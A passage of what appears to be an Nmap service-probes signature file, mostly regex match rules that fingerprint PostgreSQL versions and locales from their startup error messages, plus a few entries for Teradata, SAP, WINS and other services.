m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1570\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.0/ o/Windows/ cpe:/a:postgresql:postgresql:8.4.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1621\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.1 - 8.4.11/ o/Windows/ cpe:/a:postgresql:postgresql:8.4/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1626\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.12/ o/Windows/ cpe:/a:postgresql:postgresql:8.4.12/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1627\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.13 - 8.4.19/ o/Windows/ cpe:/a:postgresql:postgresql:8.4/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1622\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.20 - 8.4.22/ o/Windows/ cpe:/a:postgresql:postgresql:8.4/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1666\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.0 - 9.0.7/ o/Windows/ cpe:/a:postgresql:postgresql:9.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1671\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.8/ o/Windows/ cpe:/a:postgresql:postgresql:9.0.8/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1677\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.9 - 9.0.15/ o/Windows/ cpe:/a:postgresql:postgresql:9.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1672\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.16 - 9.0.18/ o/Windows/ cpe:/a:postgresql:postgresql:9.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1705\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.19 - 9.0.22/ o/Windows/ cpe:/a:postgresql:postgresql:9.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1753\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.23/ o/Windows/ cpe:/a:postgresql:postgresql:9.0.23/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1694\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.0 - 9.1.1/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1695\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.2 - 9.1.3/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1700\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.4/ o/Windows/ cpe:/a:postgresql:postgresql:9.1.4/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1706\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.5 - 9.1.11/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1701\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.12 - 9.1.14/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1734\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.15 - 9.1.18/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1803\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.19/ o/Windows/ cpe:/a:postgresql:postgresql:9.1.19/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1833\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.20 - 9.1.24/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1612\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.0 - 9.2.6/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1607\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.7 - 9.2.9/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1640\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.10 - 9.2.13/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1709\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.14/ o/Windows/ cpe:/a:postgresql:postgresql:9.2.14/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1739\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.15 - 9.2.16/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1742\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.17/ o/Windows/ cpe:/a:postgresql:postgresql:9.2.17/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1746\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.18 - 9.2.19/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1747\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.20 - 9.2.21/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1755\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.22 - 9.2.24/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1837\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.0 - 9.3.2/ o/Windows/ cpe:/a:postgresql:postgresql:9.3/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1834\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.3 - 9.3.5/ o/Windows/ cpe:/a:postgresql:postgresql:9.3/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1872\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.6 - 9.3.9/ o/Windows/ cpe:/a:postgresql:postgresql:9.3/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1949\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.10/ o/Windows/ cpe:/a:postgresql:postgresql:9.3.10/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1849\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.0/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.0/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1881\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.1 - 9.4.4/ o/Windows/ cpe:/a:postgresql:postgresql:9.4/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1955\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.5/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.5/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1986\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.14 - 9.3.15 or 9.4.6 - 9.4.8/ o/Windows/ cpe:/a:postgresql:postgresql:9/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1987\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.16 - 9.3.17/ o/Windows/ cpe:/a:postgresql:postgresql:9.3/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1994\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.21 - 9.3.25/ o/Windows/ cpe:/a:postgresql:postgresql:9.3/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1990\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.9/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.9/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2000\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.10/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.10/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2001\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.11/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.11/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2002\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.12/ o/Windows/ cpe:/a:postgresql:postgresql:9.4.12/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2010\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.13 - 9.4.15 or 9.4.22 - 9.4.26/ o/Windows/ cpe:/a:postgresql:postgresql:9.4/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2009\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.16 - 9.4.21/ o/Windows/ cpe:/a:postgresql:postgresql:9.4/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1991\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.0 - 9.5.3/ o/Windows/ cpe:/a:postgresql:postgresql:9.5/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1995\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.18 - 9.3.20 or 9.5.4/ o/Windows/ cpe:/a:postgresql:postgresql:9/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2005\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.5/ o/Windows/ cpe:/a:postgresql:postgresql:9.5.5/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2006\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.6/ o/Windows/ cpe:/a:postgresql:postgresql:9.5.6/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2007\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.7/ o/Windows/ cpe:/a:postgresql:postgresql:9.5.7/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2015\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.8 - 9.5.10 or 9.5.17 - 9.5.21/ o/Windows/ cpe:/a:postgresql:postgresql:9.5/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2014\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.11 - 9.5.16/ o/Windows/ cpe:/a:postgresql:postgresql:9.5/ cpe:/o:microsoft:windows/a # 9.6.0 introduced a nonlocalized error message match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2008\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.0 - 9.6.1/ o/Windows/ cpe:/a:postgresql:postgresql:9.6/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2009\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.2/ o/Windows/ cpe:/a:postgresql:postgresql:9.6.2/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2023\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.3/ o/Windows/ cpe:/a:postgresql:postgresql:9.6.3/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2031\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.4 - 9.6.6 or 9.6.13 - 9.6.17/ o/Windows/ cpe:/a:postgresql:postgresql:9.6/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2030\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.7 - 9.6.12/ o/Windows/ cpe:/a:postgresql:postgresql:9.6/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2065\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/10.0 - 10.1 or 10.8 - 10.12/ o/Windows/ cpe:/a:postgresql:postgresql:10/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2064\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/10.2 - 10.7/ o/Windows/ cpe:/a:postgresql:postgresql:10/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2015\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/11.0 - 11.2/ o/Windows/ cpe:/a:postgresql:postgresql:11/ cpe:/o:microsoft:windows/a match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2016\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/11.3 - 11.7/ o/Windows/ cpe:/a:postgresql:postgresql:11/ cpe:/o:microsoft:windows/a # Unverified: does postgresql 12 have a different error message? match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L2060\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/12.0 - 12.2/ o/Windows/ cpe:/a:postgresql:postgresql:12/ cpe:/o:microsoft:windows/a # PostgreSQL - Language specific match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mnicht unterst\xc3\xbctztes Frontend-Protokoll 65363\.19778: Server unterst\xc3\xbctzt 1\.0 bis 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/German; Unicode support/ cpe:/a:postgresql:postgresql::::de/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mnicht unterst.{1,2}tztes Frontend-Protokoll 65363\.19778: Server unterst.{1,2}tzt 1\.0 bis 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/German/ cpe:/a:postgresql:postgresql::::de/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0MProtocole non support\xc3\xa9e de l'interface 65363\.19778: le serveur supporte de 1\.0 \xc3\xa0 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/French; Unicode support/ cpe:/a:postgresql:postgresql::::fr/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0MProtocole non support\?e de l'interface 65363\.19778 : le serveur supporte de 1\.0 \?\n3\.0\0Fpostmaster\.c\0L1621\0RProcessStartupPacket\0\0| p/PostgreSQL DB/ v/8.4.1 - 8.4.11/ i/French/ cpe:/a:postgresql:postgresql:8.4:::fr/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0MProtocole non support\?e de l'interface 65363\.19778 : le serveur supporte de 1\.0 \?\n3\.0\0Fpostmaster\.c\0L1626\0RProcessStartupPacket\0\0$| p/PostgreSQL DB/ v/8.4.12/ i/French/ cpe:/a:postgresql:postgresql:8.4.12:::fr/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0MProtocole non support[e\xe9]e de l'interface 65363\.19778: le serveur supporte de 1\.0 [a\xe0] 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/French/ cpe:/a:postgresql:postgresql::::fr/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mprotocole non support\xe9e de l'interface 65363\.19778: le serveur supporte de 1\.0 \xe0 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/French/ cpe:/a:postgresql:postgresql::::fr/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mel protocolo 65363\.19778 no est..? soportado: servidor soporta 1\.0 hasta 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/Spanish/ cpe:/a:postgresql:postgresql::::es/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mel protocolo 65363\.19778 no est\? permitido: servidor permite 1\.0 hasta 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/Spanish/ cpe:/a:postgresql:postgresql::::es/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mprotocolo 65363\.19778 n\xe3o \xe9 suportado: servidor suporta 1\.0 a 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/Portuguese/ cpe:/a:postgresql:postgresql::::pt/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mprotocolo do cliente 65363\.19778 n.{4,6} suportado: servidor suporta 1\.0 a 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/Portuguese/ cpe:/a:postgresql:postgresql::::pt/ match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M\xd0\xbd\xd0\xb5\xd0\xbf\xd0\xbe\xd0\xb4\xd0\xb4\xd0\xb5\xd1\x80\xd0\xb6\xd0\xb8\xd0\xb2\xd0\xb0\xd0\xb5\xd0\xbc\xd1\x8b\xd0\xb9 \xd0\xba\xd0\xbb\xd0\xb8\xd0\xb5\xd0\xbd\xd1\x82\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 \xd0\xbf\xd1\x80\xd0\xbe\xd1\x82\xd0\xbe\xd0\xba\xd0\xbe\xd0\xbb 65363\.19778: \xd1\x81\xd0\xb5\xd1\x80\xd0\xb2\xd0\xb5\xd1\x80 \xd0\xbf\xd0\xbe\xd0\xb4\xd0\xb4\xd0\xb5\xd1\x80\xd0\xb6\xd0\xb8\xd0\xb2\xd0\xb0\xd0\xb5\xd1\x82 \xd0\xbe\xd1\x82 1\.0 \xd0\xb4\xd0\xbe 3\.0\0Fpostmaster\.c\0L\d+\0|s p/PostgreSQL DB/ i/Russian; Unicode support/ cpe:/a:postgresql:postgresql::::ru/ # Supposed to be Ukrainian? submission came from a .ua domain. match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M\?\?\?\?\?\?\?\?\?\?\?\?\?\?\?\? \?\?\?\?\?\?\?\? \?\?\?\?\?\?\?\?\?\?\? \?\?\?\?\?\?\?\?\?\? 65363\.19778; \?\?\?\?\?\? \?\?\?\?\?\?\?\?\?\?\?\? 1\.0 - 3\.0 \0Fpostmaster\.c\0L1695\0RProcessStartupPacket\0\0$| p/PostgreSQL DB/ v/9.1.2 - 9.1.3/ cpe:/a:postgresql:postgresql:9.1::uk/ # Korean match postgresql m|^E\0\0\0\xb1S\xec\xb9\x98| p/PostgreSQL DB/ cpe:/a:postgresql:postgresql/ # PostgreSQL softmatch entries, put all hard matches above this line. softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0MProtocole non support.{1,2}e de l'interface 65363| p/PostgreSQL DB/ i/French/ cpe:/a:postgresql:postgresql::::fr/ softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mel protocolo 65363| p/PostgreSQL DB/ i/Spanish/ cpe:/a:postgresql:postgresql::::es/ softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Mnicht unterst.*?Frontend-Protokoll 65363\.19778:|s p/PostgreSQL DB/ i/German/ cpe:/a:postgresql:postgresql::::de/ softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M\xe3\x83\x95\xe3\x83\xad\xe3\x83\xb3\xe3\x83\x88\xe3\x82\xa8\xe3\x83\xb3\xe3\x83\x89\xe3\x83\x97\xe3\x83\xad\xe3\x83\x88\xe3\x82\xb3\xe3\x83\xab|s p/PostgreSQL DB/ i/Japanese/ cpe:/a:postgresql:postgresql::::ja/ softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*?1\.0.*?3\.0.*?\0Fpostmaster\.c\0|s p/PostgreSQL DB/ cpe:/a:postgresql:postgresql/ softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*?1\.0.*?3\.0.*?\0F\.\\src\\backend\\postmaster\\postmaster\.c\0|s p/PostgreSQL DB/ o/Windows/ cpe:/a:postgresql:postgresql/ cpe:/o:microsoft:windows/a softmatch postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0Munsupported frontend protocol 65363| p/PostgreSQL DB/ cpe:/a:postgresql:postgresql/ softmatch postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*?1\.0.*?3\.0.*?\0F\.\\src\\backend\\postmaster\\postmaster\.c\0|s p/PostgreSQL DB/ v/9.6.0 or later/ o/Windows/ cpe:/a:postgresql:postgresql/ cpe:/o:microsoft:windows/a softmatch postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0Munsupported frontend protocol 65363| p/PostgreSQL DB/ v/9.6.0 or later/ cpe:/a:postgresql:postgresql/ match tcsd m|^\0\0\0\x1c\0\0 \x04\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$| p/TCSD daemon/ # Teradata Database 13.10 match teradata m|^\x03\x02\x01\0\0\0\0\0\x004\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x7f\0\0\0\0\0\0\0\0\0\0\0\0\0\x001\x004\0\0\0\0\0K\x1f\(\0The LAN message Format field is invalid\.| p/Teradata database/ match tng-dts m|^\0\0\0\$sequence_number=\[0\] result=\[-2005\] \0$| p/CA DTS Agent/ # SAP Release: SAP ECC (Enterprise Core Component) 6.0 on Windows 2003 match sap-gui m|^\0\0\0\x0e\*\*DPTMMSG\*\*\0\0\xf8| p/SAP Gui Dispatcher/ cpe:/a:sap:gui/ match serversettingsd m|^\0\0\x004main\0\0\x01\0\0\0\0\x0c\0\0\0\0\0\0\0\x0c\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0quit\xff\xff\xff\xffcrpt$| p/Apple serversettingsd administration daemon/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match spotify-login m|^\x01\0$| p/Spotify login server/ match symantec-esm m|^\0\x01[#,]$| p/Symantec Enterprise Security Manager agent/ cpe:/a:symantec:enterprise_security_manager/ # Windows 2000 Server Wins name resolution service # Windows NT 4.0 Wins # Windows 2003 WINS service match wins m|^\0\0\0\x1e\xffS\xad\x80\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0...\0\0\x01\0\0\x81\0\x02|s p/Microsoft Windows Wins/ o/Windows/ cpe:/o:microsoft:windows/a match sap-its m|^\0\0\0\x0c\x01\x03\0\0\0\0\x07.\0\0\0\0\0\0\x07.Content-Type: text/html; charset=Windows-\d+\r\n\r\n\nLCFD Error 404\n| p/IBM Tivoli Endpoint httpd/ 